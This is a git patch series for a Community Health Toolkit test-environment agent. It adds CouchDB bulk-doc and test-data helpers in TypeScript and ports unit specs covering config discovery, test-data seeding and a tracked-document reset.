+ * Submit docs to POST /medic/_bulk_docs (the couchdb reset submits
+ * {_id, _rev, _deleted: true} tombstones). Returns the per-doc outcome rows;
+ * callers decide whether an `error` row (e.g. a conflict) is fatal.
+ */
+export const bulkDocs = async (
+  url: string,
+  auth: ChtAuth,
+  docs: BulkDoc[],
+  options: ChtRequestOptions = {}
+): Promise<BulkDocResultRow[]> => {
+  if (docs.length === 0) {
+    return [];
+  }
+  const body = await request(url, auth, '/medic/_bulk_docs', options, {
+    method: 'POST',
+    body: JSON.stringify({ docs }),
+  });
+  return Array.isArray(body) ? (body as BulkDocResultRow[]) : [];
+};
diff --git a/src/utils/test-data.ts b/src/utils/test-data.ts
new file mode 100644
index 00000000..8f999f4b
--- /dev/null
+++ b/src/utils/test-data.ts
@@ -0,0 +1,156 @@
+/**
+ * Test-data helpers for the Test Environment Layer.
+ *
+ * Everything prepareTestData needs around the cht-conf runner: reading the
+ * json_docs directory csv-to-docs produced (the fs access is isolated here,
+ * the way cht-readiness.ts isolates fetch), classifying seeded docs against
+ * the discovered config, and parsing cht-conf's stdout (upload-docs summary,
+ * create-users progress). cht-conf logs every level to STDOUT with ANSI color
+ * prefixes (src/lib/log.js), so the parsers strip escapes first.
+ *
+ * Verified against the installed cht-conf 6.5.0 src: csv-to-docs.js writes
+ * `<project>/json_docs/<id>.doc.json`; upload-docs.js logs
+ * "Summary: <ok> of <total> docs uploaded OK."; create-users.js logs
+ * "Creating user <username>" before each POST /api/v1/users.
+ */
+
+import { readdirSync, readFileSync, existsSync, unlinkSync } from 'node:fs';
+import { join } from 'node:path';
+import { DiscoveredConfig } from '../types';
+
+const DOC_FILE_EXTENSION = '.doc.json';
+
+/** A doc csv-to-docs generated, reduced to what classification needs. */
+export interface SeededDoc {
+  id: string;
+  type: string;
+  contactType?: string;
+}
+
+/** Doc counts per TestDataResult bucket, plus classification warnings. */
+export interface SeededDocCounts {
+  places: number;
+  people: number;
+  reports: number;
+  warnings: string[];
+}
+
+// cht-conf's log lines carry ANSI color codes (e.g. \x1b[32mINFO ... \x1b[0m).
+// eslint-disable-next-line no-control-regex
+const ANSI_ESCAPES = /\x1b\[[0-9;]*m/g;
+
+const stripAnsi = (output: string): string => output.replace(ANSI_ESCAPES, '');
+
+/**
+ * Parse upload-docs' summary line ("Summary: 12 of 12 docs uploaded OK.").
+ * Returns undefined when no summary was printed — upload-docs exits 0 without
+ * one when json_docs is missing or empty, so absence means "nothing uploaded".
+ */
+export const parseUploadDocsSummary = (output: string): { uploaded: number; total: number } | undefined => {
+  const match = /summary: (\d+) of (\d+) docs uploaded ok/i.exec(stripAnsi(output));
+  if (!match) {
+    return undefined;
+  }
+  return { uploaded: Number.parseInt(match[1], 10), total: Number.parseInt(match[2], 10) };
+};
+
+/**
+ * Count create-users' "Creating user <name>" progress lines. Each line is
+ * logged immediately BEFORE the POST /api/v1/users call, so on a clean exit
+ * the count equals the users created; on a failed exit the last logged
+ * attempt is the one that blew up (callers subtract it).
+ */
+export const countCreatedUsers = (output: string): number => {
+  const matches = stripAnsi(output).match(/\bCreating user /g);
+  return matches ? matches.length : 0;
+};
+
+/** True when the data project has a users.csv for create-users to consume. */
+export const hasUsersCsv = (dataPath: string): boolean => existsSync(join(dataPath, 'users.csv'));
+
+/**
+ * Remove the .doc.json files a previous csv-to-docs run left behind in
+ * `<dataPath>/json_docs`. csv-to-docs never cleans the directory (it warns
+ * "There are already docs in <dir>" and writes alongside), so without this a
+ * superseded dataset's docs would be re-uploaded and counted as the current
+ * run's data. Only *.doc.json files are removed — upload-docs report logs and
+ * anything else stay. Returns how many files were removed.
+ */
+export const cleanSeededDocs = (dataPath: string): number => {
+  const docDir = join(dataPath, 'json_docs');
+  if (!existsSync(docDir)) {
+    return 0;
+  }
+  const names = readdirSync(docDir).filter((name) => name.endsWith(DOC_FILE_EXTENSION));
+  for (const name of names) {
+    unlinkSync(join(docDir, name));
+  }
+  return names.length;
+};
+
+/**
+ * Read the docs csv-to-docs generated at `<dataPath>/json_docs`. Returns []
+ * when the directory does not exist (csv-to-docs warns-and-skips when there
+ * is no csv/ input, leaving no json_docs behind — the agent turns the empty
+ * list into a warning). A malformed doc file throws: the seeding evidence and
+ * the reset worklist both come from this listing, so guessing is worse than
+ * failing loudly.
+ */
+export const readSeededDocs = (dataPath: string): SeededDoc[] => {
+  const docDir = join(dataPath, 'json_docs');
+  if (!existsSync(docDir)) {
+    return [];
+  }
+  return readdirSync(docDir)
+    .filter((name) => name.endsWith(DOC_FILE_EXTENSION))
+    .sort()
+    .map((name) => {
+      const raw = readFileSync(join(docDir, name), 'utf-8');
+      const doc = JSON.parse(raw) as { _id?: string; type?: string; contact_type?: string };
+      return {
+        id: doc._id ?? name.slice(0, -DOC_FILE_EXTENSION.length),
+        type: doc.type ?? '',
+        ...(doc.contact_type !== undefined ? { contactType: doc.contact_type } : {}),
+      };
+    });
+};
+
+/**
+ * Classify seeded docs into TestDataResult buckets using the DISCOVERED
+ * config (a `person: true` contact type counts as a person even under a
+ * custom hierarchy). `user` docs are csv-to-docs artifacts of users.*.csv
+ * inputs, not accounts — create-users owns the usersCreated count, so they
+ * are tracked for reset but not counted here. Unknown contact types count as
+ * places, once-per-type warned.
+ */
+export const classifySeededDocs = (docs: SeededDoc[], config: DiscoveredConfig): SeededDocCounts => {
+  const personTypes = new Set(
+    config.contactTypes.filter((contactType) => contactType.person === true).map((contactType) => contactType.id)
+  );
+  const knownTypes = new Set(config.contactTypes.map((contactType) => contactType.id));
+  const counts: SeededDocCounts = { places: 0, people: 0, reports: 0, warnings: [] };
+  const warnedTypes = new Set<string>();
+
+  for (const doc of docs) {
+    if (doc.type === 'data_record') {
+      counts.reports += 1;
+      continue;
+    }
+    if (doc.type === 'user') {
+      continue;
+    }
+    // Configurable hierarchies store the real type in contact_type.
+    const contactType = doc.type === 'contact' ? (doc.contactType ?? '') : doc.type;
+    if (contactType === 'person' || personTypes.has(contactType)) {
+      counts.people += 1;
+      continue;
+    }
+    if (!knownTypes.has(contactType) && !warnedTypes.has(contactType)) {
+      warnedTypes.add(contactType);
+      counts.warnings.push(`contact type "${contactType}" is not in the discovered config; counted as a place`);
+    }
+    counts.places += 1;
+  }
+
+  return counts;
+};
diff --git a/test/agents/test-environment-agent.spec.ts b/test/agents/test-environment-agent.spec.ts
index e11c8c3e..f0778096 100644
--- a/test/agents/test-environment-agent.spec.ts
+++ b/test/agents/test-environment-agent.spec.ts
@@ -335,23 +335,6 @@ describe('TestEnvironmentAgent', () => {
       expect(second.forms).to.deep.equal(['delivery', 'pregnancy', 'assessment']);
       expect(second.contactTypes).to.have.lengthOf(4);
     });
-
-    it('should throw not-implemented in real mode', async () => {
-      const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
-      const handle: EnvironmentHandle = {
-        url: 'https://nginx',
-        auth: { user: 'medic', password: 'password' },
-        network: 'cht-agent-net',
-        source: 'docker',
-      };
-
-      try {
-        await realAgent.discoverConfig(handle);
-        expect.fail('Should have thrown an error');
-      } catch (error) {
-        expect((error as Error).message).to.include('not yet implemented');
-      }
-    });
   });
 
   describe('prepareTestData', () => {
@@ -387,23 +370,6 @@ describe('TestEnvironmentAgent', () => {
       expect(second.warnings).to.deep.equal([]);
       expect(second.placesCreated).to.equal(3);
     });
-
-    it('should throw not-implemented in real mode', async () => {
-      const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
-      const handle: EnvironmentHandle = {
-        url: 'https://nginx',
-        auth: { user: 'medic', password: 'password' },
-        network: 'cht-agent-net',
-        source: 'docker',
-      };
-
-      try {
-        await realAgent.prepareTestData(handle, sampleConfig);
-        expect.fail('Should have thrown an error');
-      } catch (error) {
-        expect((error as Error).message).to.include('not yet implemented');
-      }
-    });
   });
 
   describe('reset', () => {
@@ -434,15 +400,6 @@ describe('TestEnvironmentAgent', () => {
       it('resolves the full tier (human-gated, agent runs no Docker)', async () => {
         expect(await realAgent.reset(dockerHandle, 'full')).to.equal(undefined);
       });
-
-      it('defers the couchdb tier to a later phase', async () => {
-        try {
-          await realAgent.reset(dockerHandle, 'couchdb');
-          expect.fail('expected reset to reject');
-        } catch (error) {
-          expect((error as Error).message).to.include('Phase 3');
-        }
-      });
     });
   });
 

From e1b7858dea348a6dac85987b0c6fad5e0d563f15 Mon Sep 17 00:00:00 2001
From: CHT Agent <agent@cht-agent.local>
Date: Sat, 18 Jul 2026 01:40:01 +0000
Subject: [PATCH 09/24] test(#66): layer spec suite ported (agent real paths,
 cht-api, test-data)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Complete the Test Environment Layer's real-path spec coverage, ported from
the workbench lineage minus the excised cht-conf-extension describes. All
real-path specs mock fetch / child_process, so the suite stays green with no
running instance and no Docker.

New unit specs:
- test/utils/cht-api.spec.ts — fetchSettings / fetchFormRevs / fetchDocRevs /
  bulkDocs against a stubbed global fetch (auth header, abort signal, path+status
  error text with no password, non-object/non-array normalisation). The
  fetchFormXml describe is excised with its import.
- test/utils/test-data.spec.ts — the upload-docs/create-users stdout parsers
  (ANSI-stripped), json_docs fixtures on a real tmp dir, and classifySeededDocs
  against a discovered config.

Agent real-mode describes (stubbing cht-api / cht-conf-runner / test-data):
- discoverConfig: fetches with the handle url+auth, parses contact types / roles /
  permissions / transitions dropping junk, lists forms with their revs, propagates
  a fetch failure, and warns on an instance with no contact_types.
- prepareTestData: runs csv-to-docs+upload-docs then create-users, classifies the
  seeded docs, counts users, skips create-users without users.csv, warns on
  partial/empty uploads, and reports succeeded:false on a failed run.
- reset('couchdb'): no-op when nothing tracked; wipes tracked docs at CURRENT revs
  and reseeds; skips tombstones; throws on rejected deletion / failed / partial
  reseed; fails closed before the wipe when the reseed source is gone; refreshes
  tracking; teardown clears tracking. Plus mock formVersions + succeeded/seededDocIds
  parity assertions.

The runner spec landed with the C1 parity uplift; the excised describes
(verifyArtifact, fetchDeployedFormXml, fetchFormXml, offline-convert) are not
ported. Excision grep over src/ and test/ is empty.

1104 tests pass, build + lint clean (Node 22).

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
---
 test/agents/test-environment-agent.spec.ts | 476 +++++++++++++++++++++
 test/utils/cht-api.spec.ts                 | 199 +++++++++
 test/utils/test-data.spec.ts               | 209 +++++++++
 3 files changed, 884 insertions(+)
 create mode 100644 test/utils/cht-api.spec.ts
 create mode 100644 test/utils/test-data.spec.ts

diff --git a/test/agents/test-environment-agent.spec.ts b/test/agents/test-environment-agent.spec.ts
index f0778096..770bb0c0 100644
--- a/test/agents/test-environment-agent.spec.ts
+++ b/test/agents/test-environment-agent.spec.ts
@@ -2,7 +2,10 @@ import { expect } from 'chai';
 import * as sinon from 'sinon';
 import { TestEnvironmentAgent } from '../../src/agents/test-environment-agent';
 import * as chtConfRunner from '../../src/utils/cht-conf-runner';
+import * as chtApi from '../../src/utils/cht-api';
+import * as testData from '../../src/utils/test-data';
 import {
+  ChtConfExecResult,
   ConfigActionResult,
   ConfigUploadAction,
   DiscoveredConfig,
@@ -335,6 +338,124 @@ describe('TestEnvironmentAgent', () => {
       expect(second.forms).to.deep.equal(['delivery', 'pregnancy', 'assessment']);
       expect(second.contactTypes).to.have.lengthOf(4);
     });
+
+    it('should carry mock form versions for the apply -> verify loop', async () => {
+      const handle = await provisionMock();
+
+      const config = await agent.discoverConfig(handle);
+
+      expect(Object.keys(config.formVersions ?? {})).to.have.members(config.forms);
+    });
+
+    describe('real mode (useMockDocker: false)', () => {
+      const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+      const dockerHandle: EnvironmentHandle = {
+        url: 'https://nginx',
+        auth: { user: 'medic', password: 'password' },
+        network: 'cht-agent-net',
+        source: 'docker',
+      };
+
+      // Raw /api/v1/settings shape (extra fields included to prove they are dropped)
+      const rawSettings = {
+        contact_types: [
+          { id: 'clinic', parents: ['health_center'], icon: 'medic-clinic' },
+          { id: 'person', parents: ['clinic'], person: true },
+          { name: 'no-id-entry' },
+          'not-an-object',
+        ],
+        roles: {
+          chw: { name: 'CHW', offline: true, superfluous: 'x' },
+          broken: 'not-an-object',
+        },
+        permissions: {
+          can_edit: ['chw', 42, 'supervisor'],
+          not_a_list: true,
+        },
+        transitions: {
+          update_clinics: true,
+          death_reporting: { disable: true, extra: 'y' },
+          odd_value: 7,
+        },
+        locale: 'en',
+      };
+      const rawFormRevs = [
+        { id: 'form:delivery', rev: '1-def' },
+        { id: 'form:pregnancy', rev: '3-abc' },
+      ];
+
+      let settingsStub: sinon.SinonStub;
+      let formRevsStub: sinon.SinonStub;
+
+      beforeEach(() => {
+        settingsStub = sinon.stub(chtApi, 'fetchSettings').resolves(rawSettings);
+        formRevsStub = sinon.stub(chtApi, 'fetchFormRevs').resolves(rawFormRevs);
+      });
+
+      afterEach(() => {
+        sinon.restore();
+      });
+
+      it('fetches settings and form revs with the handle url and auth', async () => {
+        await realAgent.discoverConfig(dockerHandle);
+
+        expect(settingsStub.calledOnceWith('https://nginx', dockerHandle.auth)).to.equal(true);
+        expect(formRevsStub.calledOnceWith('https://nginx', dockerHandle.auth)).to.equal(true);
+      });
+
+      it('parses contact types, keeping only id/parents/person and dropping junk entries', async () => {
+        const config = await realAgent.discoverConfig(dockerHandle);
+
+        expect(config.contactTypes).to.deep.equal([
+          { id: 'clinic', parents: ['health_center'] },
+          { id: 'person', parents: ['clinic'], person: true },
+        ]);
+      });
+
+      it('parses roles and permissions, dropping malformed entries', async () => {
+        const config = await realAgent.discoverConfig(dockerHandle);
+
+        expect(config.roles).to.deep.equal({ chw: { name: 'CHW', offline: true } });
+        expect(config.permissions).to.deep.equal({ can_edit: ['chw', 'supervisor'] });
+      });
+
+      it('normalizes transitions to booleans or {disable} objects', async () => {
+        const config = await realAgent.discoverConfig(dockerHandle);
+
+        expect(config.transitions).to.deep.equal({
+          update_clinics: true,
+          death_reporting: { disable: true },
+        });
+      });
+
+      it('lists installed forms with their revs as the verification hashes', async () => {
+        const config = await realAgent.discoverConfig(dockerHandle);
+
+        expect(config.forms).to.deep.equal(['delivery', 'pregnancy']);
+        expect(config.formVersions).to.deep.equal({ delivery: '1-def', pregnancy: '3-abc' });
+      });
+
+      it('propagates a settings fetch failure', async () => {
+        settingsStub.rejects(new Error('CHT request failed: GET /api/v1/settings -> HTTP 503'));
+
+        try {
+          await realAgent.discoverConfig(dockerHandle);
+          expect.fail('expected discoverConfig to reject');
+        } catch (error) {
+          expect((error as Error).message).to.include('HTTP 503');
+        }
+      });
+
+      it('keeps contactTypes empty but warns when the instance defines none (built-in default hierarchy)', async () => {
+        settingsStub.resolves({ roles: {} });
+        const warnSpy = sinon.spy(console, 'warn');
+
+        const config = await realAgent.discoverConfig(dockerHandle);
+
+        expect(config.contactTypes).to.deep.equal([]);
+        expect(warnSpy.args.flat().join(' ')).to.include('no contact_types');
+      });
+    });
   });
 
   describe('prepareTestData', () => {
@@ -370,6 +491,166 @@ describe('TestEnvironmentAgent', () => {
       expect(second.warnings).to.deep.equal([]);
       expect(second.placesCreated).to.equal(3);
     });
+
+    it('should report success and the seeded doc ids in mock mode', async () => {
+      const handle = await provisionMock();
+
+      const result = await agent.prepareTestData(handle, sampleConfig);
+
+      expect(result.succeeded).to.equal(true);
+      // One doc per mock place/person/report (users are accounts, not docs).
+      expect(result.seededDocIds).to.have.lengthOf(
+        result.placesCreated + result.peopleCreated + result.reportsCreated
+      );
+    });
+
+    describe('real mode (useMockDocker: false)', () => {
+      const dockerHandle: EnvironmentHandle = {
+        url: 'https://nginx',
+        auth: { user: 'medic', password: 'password' },
+        network: 'cht-agent-net',
+        source: 'docker',
+      };
+      const dataPath = '/mnt/test-data';
+      const ansiInfo = (message: string): string => `\x1b[32mINFO ${message} \x1b[0m`;
+      const okRun = (output: string): ChtConfExecResult => ({ exitCode: 0, output, timedOut: false });
+      // 2 places (one via contact_type), 1 person, 1 report, 1 user doc
+      const seededDocs: testData.SeededDoc[] = [
+        { id: 'place-1', type: 'clinic' },
+        { id: 'place-2', type: 'contact', contactType: 'clinic' },
+        { id: 'person-1', type: 'person' },
+        { id: 'report-1', type: 'data_record' },
+        { id: 'user-doc-1', type: 'user' },
+      ];
+
+      let realAgent: TestEnvironmentAgent;
+      let runChtConfStub: sinon.SinonStub;
+      let readSeededDocsStub: sinon.SinonStub;
+      let hasUsersCsvStub: sinon.SinonStub;
+      let cleanSeededDocsStub: sinon.SinonStub;
+
+      beforeEach(() => {
+        realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+        runChtConfStub = sinon.stub(chtConfRunner, 'runChtConf');
+        runChtConfStub.onCall(0).resolves(okRun(ansiInfo('Summary: 5 of 5 docs uploaded OK.')));
+        runChtConfStub.onCall(1).resolves(okRun(ansiInfo('Creating user alice')));
+        readSeededDocsStub = sinon.stub(testData, 'readSeededDocs').returns(seededDocs);
+        hasUsersCsvStub = sinon.stub(testData, 'hasUsersCsv').returns(true);
+        cleanSeededDocsStub = sinon.stub(testData, 'cleanSeededDocs').returns(0);
+      });
+
+      afterEach(() => {
+        sinon.restore();
+      });
+
+      it('requires a dataPath', async () => {
+        try {
+          await realAgent.prepareTestData(dockerHandle, sampleConfig, {});
+          expect.fail('expected prepareTestData to reject');
+        } catch (error) {
+          expect((error as Error).message).to.include('dataPath');
+        }
+      });
+
+      it('clears a previous run\'s stale json_docs before converting', async () => {
+        cleanSeededDocsStub.returns(3);
+
+        await realAgent.prepareTestData(dockerHandle, sampleConfig, { dataPath });
+
+        expect(cleanSeededDocsStub.calledOnceWith(dataPath)).to.equal(true);
+        expect(cleanSeededDocsStub.calledBefore(runChtConfStub)).to.equal(true);
+      });
+
+      it('runs csv-to-docs + upload-docs, then create-users, via the runner', async () => {
+        await realAgent.prepareTestData(dockerHandle, sampleConfig, { dataPath });
+
+        expect(runChtConfStub.callCount).to.equal(2);
+        const docsCall = runChtConfStub.firstCall.args[0];
+        expect(docsCall.verbs).to.deep.equal(['csv-to-docs', 'upload-docs']);
+        expect(docsCall.instanceUrl).to.equal('https://medic:password@nginx/');
+        expect(docsCall.configPath).to.equal(dataPath);
+        expect(docsCall.cwd).to.equal(dataPath);
+        const usersCall = runChtConfStub.secondCall.args[0];
+        expect(usersCall.verbs).to.deep.equal(['create-users']);
+        expect(usersCall.configPath).to.equal(dataPath);
+      });
+
+      it('classifies the seeded docs against the discovered config', async () => {
+        const result = await realAgent.prepareTestData(dockerHandle, sampleConfig, { dataPath });
+
+        expect(readSeededDocsStub.calledOnceWith(dataPath)).to.equal(true);
+        expect(result.placesCreated).to.equal(2);
+        expect(result.peopleCreated).to.equal(1);
+        expect(result.reportsCreated).to.equal(1);
+        expect(result.seededDocIds).to.deep.equal(['place-1', 'place-2', 'person-1', 'report-1', 'user-doc-1']);
+        expect(result.succeeded).to.equal(true);
+        expect(result.warnings).to.deep.equal([]);
+      });
+
+      it('counts created users from the create-users output', async () => {
+        runChtConfStub.onCall(1).resolves(okRun([ansiInfo('Creating user alice'), ansiInfo('Creating user bob')].join('\n')));
+
+        const result = await realAgent.prepareTestData(dockerHandle, sampleConfig, { dataPath });
+
+        expect(result.usersCreated).to.equal(2);
+      });
+
+      it('skips create-users when the data project has no users.csv', async () => {
+        hasUsersCsvStub.returns(false);
+
+        const result = await realAgent.prepareTestData(dockerHandle, sampleConfig, { dataPath });
+
+        expect(runChtConfStub.callCount).to.equal(1);
+        expect(result.usersCreated).to.equal(0);
+        expect(result.succeeded).to.equal(true);
+      });
+
+      it('warns on a partial upload without failing the seed', async () => {
+        runChtConfStub.onCall(0).resolves(okRun(ansiInfo('Summary: 3 of 5 docs uploaded OK.')));
+
+        const result = await realAgent.prepareTestData(dockerHandle, sampleConfig, { dataPath });
+
+        expect(result.succeeded).to.equal(true);
+        expect(result.warnings.join(' ')).to.include('only 3 of 5 docs uploaded');
+      });
+
+      it('warns when nothing was uploaded (no csv inputs)', async () => {
+        runChtConfStub.onCall(0).resolves(okRun(ansiInfo('No csv directory found at /mnt/test-data/csv.')));
+        readSeededDocsStub.returns([]);
+        hasUsersCsvStub.returns(false);
+
+        const result = await realAgent.prepareTestData(dockerHandle, sampleConfig, { dataPath });
+
+        expect(result.seededDocIds).to.deep.equal([]);
+        expect(result.warnings.join(' ')).to.include('no docs were uploaded');
+      });
+
+      it('reports succeeded:false when the docs run fails, still returning the disk evidence', async () => {
+        runChtConfStub.onCall(0).resolves({ exitCode: 1, output: 'ERROR boom', timedOut: false });
+
+        const result = await realAgent.prepareTestData(dockerHandle, sampleConfig, { dataPath });
+
+        expect(result.succeeded).to.equal(false);
+        expect(result.warnings.join(' ')).to.include('exited with code 1');
+        expect(result.seededDocIds).to.have.lengthOf(5);
+      });
+
+      it('does not count the create-users attempt that failed', async () => {
+        runChtConfStub
+          .onCall(1)
+          .resolves({
+            exitCode: 1,
+            output: [ansiInfo('Creating user alice'), ansiInfo('Creating user bob'), 'ERROR 400'].join('\n'),
+            timedOut: false,
+          });
+
+        const result = await realAgent.prepareTestData(dockerHandle, sampleConfig, { dataPath });
+
+        expect(result.usersCreated).to.equal(1);
+        expect(result.succeeded).to.equal(false);
+        expect(result.warnings.join(' ')).to.include('create-users');
+      });
+    });
   });
 
   describe('reset', () => {
@@ -400,6 +681,201 @@ describe('TestEnvironmentAgent', () => {
       it('resolves the full tier (human-gated, agent runs no Docker)', async () => {
         expect(await realAgent.reset(dockerHandle, 'full')).to.equal(undefined);
       });
+
+      describe('couchdb tier (the agent-owned reset)', () => {
+        const dataPath = '/mnt/test-data';
+        const ansiInfo = (message: string): string => `\x1b[32mINFO ${message} \x1b[0m`;
+        const okRun = (output: string): ChtConfExecResult => ({ exitCode: 0, output, timedOut: false });
+        const seedConfig: DiscoveredConfig = {
+          contactTypes: [{ id: 'clinic' }, { id: 'person', person: true }],
+          roles: {},
+          permissions: {},
+          transitions: {},
+          forms: [],
+        };
+
+        let agentUnderTest: TestEnvironmentAgent;
+        let runChtConfStub: sinon.SinonStub;
+        let readSeededDocsStub: sinon.SinonStub;
+        let fetchDocRevsStub: sinon.SinonStub;
+        let bulkDocsStub: sinon.SinonStub;
+
+        beforeEach(() => {
+          agentUnderTest = new TestEnvironmentAgent({ useMockDocker: false });
+          runChtConfStub = sinon.stub(chtConfRunner, 'runChtConf');
+          readSeededDocsStub = sinon.stub(testData, 'readSeededDocs').returns([
+            { id: 'place-1', type: 'clinic' },
+            { id: 'person-1', type: 'person' },
+          ]);
+          sinon.stub(testData, 'hasUsersCsv').returns(false);
+          sinon.stub(testData, 'cleanSeededDocs').returns(0);
+          fetchDocRevsStub = sinon.stub(chtApi, 'fetchDocRevs').resolves([
+            { id: 'place-1', rev: '7-live' },
+            { id: 'person-1', rev: '2-live' },
+          ]);
+          bulkDocsStub = sinon.stub(chtApi, 'bulkDocs').resolves([
+            { id: 'place-1', ok: true },
+            { id: 'person-1', ok: true },
+          ]);
+        });
+
+        afterEach(() => {
+          sinon.restore();
+        });
+
+        // Seed the agent's per-env tracking the way real use would.
+        const seedTracking = async (): Promise<void> => {
+          runChtConfStub.resolves(okRun(ansiInfo('Summary: 2 of 2 docs uploaded OK.')));
+          await agentUnderTest.prepareTestData(dockerHandle, seedConfig, { dataPath });
+          runChtConfStub.resetHistory();
+          runChtConfStub.resolves(okRun(ansiInfo('Summary: 2 of 2 docs uploaded OK.')));
+        };
+
+        it('is a no-op when nothing was seeded for this environment', async () => {
+          await agentUnderTest.reset(dockerHandle, 'couchdb');
+
+          expect(fetchDocRevsStub.called).to.equal(false);
+          expect(bulkDocsStub.called).to.equal(false);
+          expect(runChtConfStub.called).to.equal(false);
+        });
+
+        it('wipes the tracked docs at their CURRENT revs and reseeds from the tracked project', async () => {
+          await seedTracking();
+
+          await agentUnderTest.reset(dockerHandle, 'couchdb');
+
+          expect(fetchDocRevsStub.calledOnceWith('https://nginx', dockerHandle.auth, ['place-1', 'person-1']))
+            .to.equal(true);
+          expect(bulkDocsStub.firstCall.args[2]).to.deep.equal([
+            { _id: 'place-1', _rev: '7-live', _deleted: true },
+            { _id: 'person-1', _rev: '2-live', _deleted: true },
+          ]);
+          const reseedCall = runChtConfStub.firstCall.args[0];
+          expect(reseedCall.verbs).to.deep.equal(['upload-docs']);
+          expect(reseedCall.configPath).to.equal(dataPath);
+          expect(reseedCall.cwd).to.equal(dataPath);
+        });
+
+        it('skips tombstoned and never-existed docs in the wipe', async () => {
+          await seedTracking();
+          fetchDocRevsStub.resolves([
+            { id: 'place-1', rev: '7-live' },
+            { id: 'person-1', rev: '2-tomb', deleted: true },
+          ]);
+
+          await agentUnderTest.reset(dockerHandle, 'couchdb');
+
+          expect(bulkDocsStub.firstCall.args[2]).to.deep.equal([
+            { _id: 'place-1', _rev: '7-live', _deleted: true },
+          ]);
+        });
+
+        it('throws when a deletion is rejected (half-reset must not pass as clean)', async () => {
+          await seedTracking();
+          bulkDocsStub.resolves([
+            { id: 'place-1', ok: true },
+            { id: 'person-1', error: 'conflict', reason: 'Document update conflict.' },
+          ]);
+
+          try {
+            await agentUnderTest.reset(dockerHandle, 'couchdb');
+            expect.fail('expected reset to reject');
+          } catch (error) {
+            expect((error as Error).message).to.include('failed to delete 1 doc(s): person-1');
+          }
+        });
+
+        it('throws when the reseed upload fails', async () => {
+          await seedTracking();
+          runChtConfStub.resolves({ exitCode: 1, output: 'ERROR boom', timedOut: false });
+
+          try {
+            await agentUnderTest.reset(dockerHandle, 'couchdb');
+            expect.fail('expected reset to reject');
+          } catch (error) {
+            expect((error as Error).message).to.include('reseed failed');
+          }
+        });
+
+        it('throws when the reseed only partially uploads', async () => {
+          await seedTracking();
+          runChtConfStub.resolves(okRun(ansiInfo('Summary: 1 of 2 docs uploaded OK.')));
+
+          try {
+            await agentUnderTest.reset(dockerHandle, 'couchdb');
+            expect.fail('expected reset to reject');
+          } catch (error) {
+            expect((error as Error).message).to.include('reseed uploaded only 1 of 2');
+          }
+        });
+
+        it('fails closed BEFORE the wipe when the reseed source is gone', async () => {
+          await seedTracking();
+          readSeededDocsStub.returns([]); // json_docs vanished since seeding
+
+          try {
+            await agentUnderTest.reset(dockerHandle, 'couchdb');
+            expect.fail('expected reset to reject');
+          } catch (error) {
+            expect((error as Error).message).to.include('no docs to reseed from');
+          }
+          expect(fetchDocRevsStub.called).to.equal(false);
+          expect(bulkDocsStub.called).to.equal(false);
+        });
+
+        it('throws when the reseed uploads nothing (upload-docs prints no summary)', async () => {
+          await seedTracking();
+          runChtConfStub.resolves(okRun(ansiInfo('No docs directory found at /mnt/test-data/json_docs.')));
+
+          try {
+            await agentUnderTest.reset(dockerHandle, 'couchdb');
+            expect.fail('expected reset to reject');
+          } catch (error) {
+            expect((error as Error).message).to.include('reseed uploaded only 0 of 2');
+          }
+        });
+
+        it('refreshes the tracking to the reseeded docs when the dataset shrank', async () => {
+          await seedTracking();
+          readSeededDocsStub.returns([{ id: 'place-1', type: 'clinic' }]);
+          runChtConfStub.resolves(okRun(ansiInfo('Summary: 1 of 1 docs uploaded OK.')));
+          await agentUnderTest.reset(dockerHandle, 'couchdb'); // wipes 2, reseeds 1
+
+          fetchDocRevsStub.resetHistory();
+          fetchDocRevsStub.resolves([{ id: 'place-1', rev: '9-x' }]);
+          bulkDocsStub.resolves([{ id: 'place-1', ok: true }]);
+          await agentUnderTest.reset(dockerHandle, 'couchdb');
+
+          expect(fetchDocRevsStub.firstCall.args[2]).to.deep.equal(['place-1']);
+        });
+
+        it('does not let a failed re-seed clobber the wipe worklist', async () => {
+          await seedTracking();
+          // A later seeding attempt fails after its json_docs were cleaned.
+          readSeededDocsStub.returns([]);
+          runChtConfStub.resolves({ exitCode: 1, output: 'ERROR boom', timedOut: false });
+          await agentUnderTest.prepareTestData(dockerHandle, seedConfig, { dataPath: '/mnt/other-data' });
+
+          // The original worklist must still drive the wipe.
+          readSeededDocsStub.returns([
+            { id: 'place-1', type: 'clinic' },
+            { id: 'person-1', type: 'person' },
+          ]);
+          runChtConfStub.resolves(okRun(ansiInfo('Summary: 2 of 2 docs uploaded OK.')));
+          await agentUnderTest.reset(dockerHandle, 'couchdb');
+
+          expect(fetchDocRevsStub.firstCall.args[2]).to.deep.equal(['place-1', 'person-1']);
+        });
+
+        it('teardown clears the tracking, so a later couchdb reset is a no-op', async () => {
+          await seedTracking();
+
+          await agentUnderTest.teardown(dockerHandle);
+          await agentUnderTest.reset(dockerHandle, 'couchdb');
+
+          expect(fetchDocRevsStub.called).to.equal(false);
+        });
+      });
     });
   });
 
diff --git a/test/utils/cht-api.spec.ts b/test/utils/cht-api.spec.ts
new file mode 100644
index 00000000..7871250c
--- /dev/null
+++ b/test/utils/cht-api.spec.ts
@@ -0,0 +1,199 @@
+import { expect } from 'chai';
+import * as sinon from 'sinon';
+import { bulkDocs, fetchDocRevs, fetchFormRevs, fetchSettings } from '../../src/utils/cht-api';
+
+describe('cht-api', () => {
+  let fetchStub: sinon.SinonStub;
+
+  const auth = { user: 'medic', password: 'password' };
+  const URL_BASE = 'https://nginx';
+  const EXPECTED_AUTH = `Basic ${Buffer.from('medic:password').toString('base64')}`;
+
+  const jsonResponse = (body: unknown, status = 200) => ({
+    ok: status >= 200 && status < 300,
+    status,
+    json: async () => body,
+  });
+
+  beforeEach(() => {
+    fetchStub = sinon.stub(globalThis, 'fetch' as any);
+  });
+
+  afterEach(() => {
+    sinon.restore();
+  });
+
+  describe('fetchSettings', () => {
+    it('GETs /api/v1/settings with basic auth and returns the settings object', async () => {
+      fetchStub.resolves(jsonResponse({ roles: { chw: {} } }));
+
+      const settings = await fetchSettings(URL_BASE, auth);
+
+      expect(settings).to.deep.equal({ roles: { chw: {} } });
+      expect(fetchStub.firstCall.args[0]).to.equal('https://nginx/api/v1/settings');
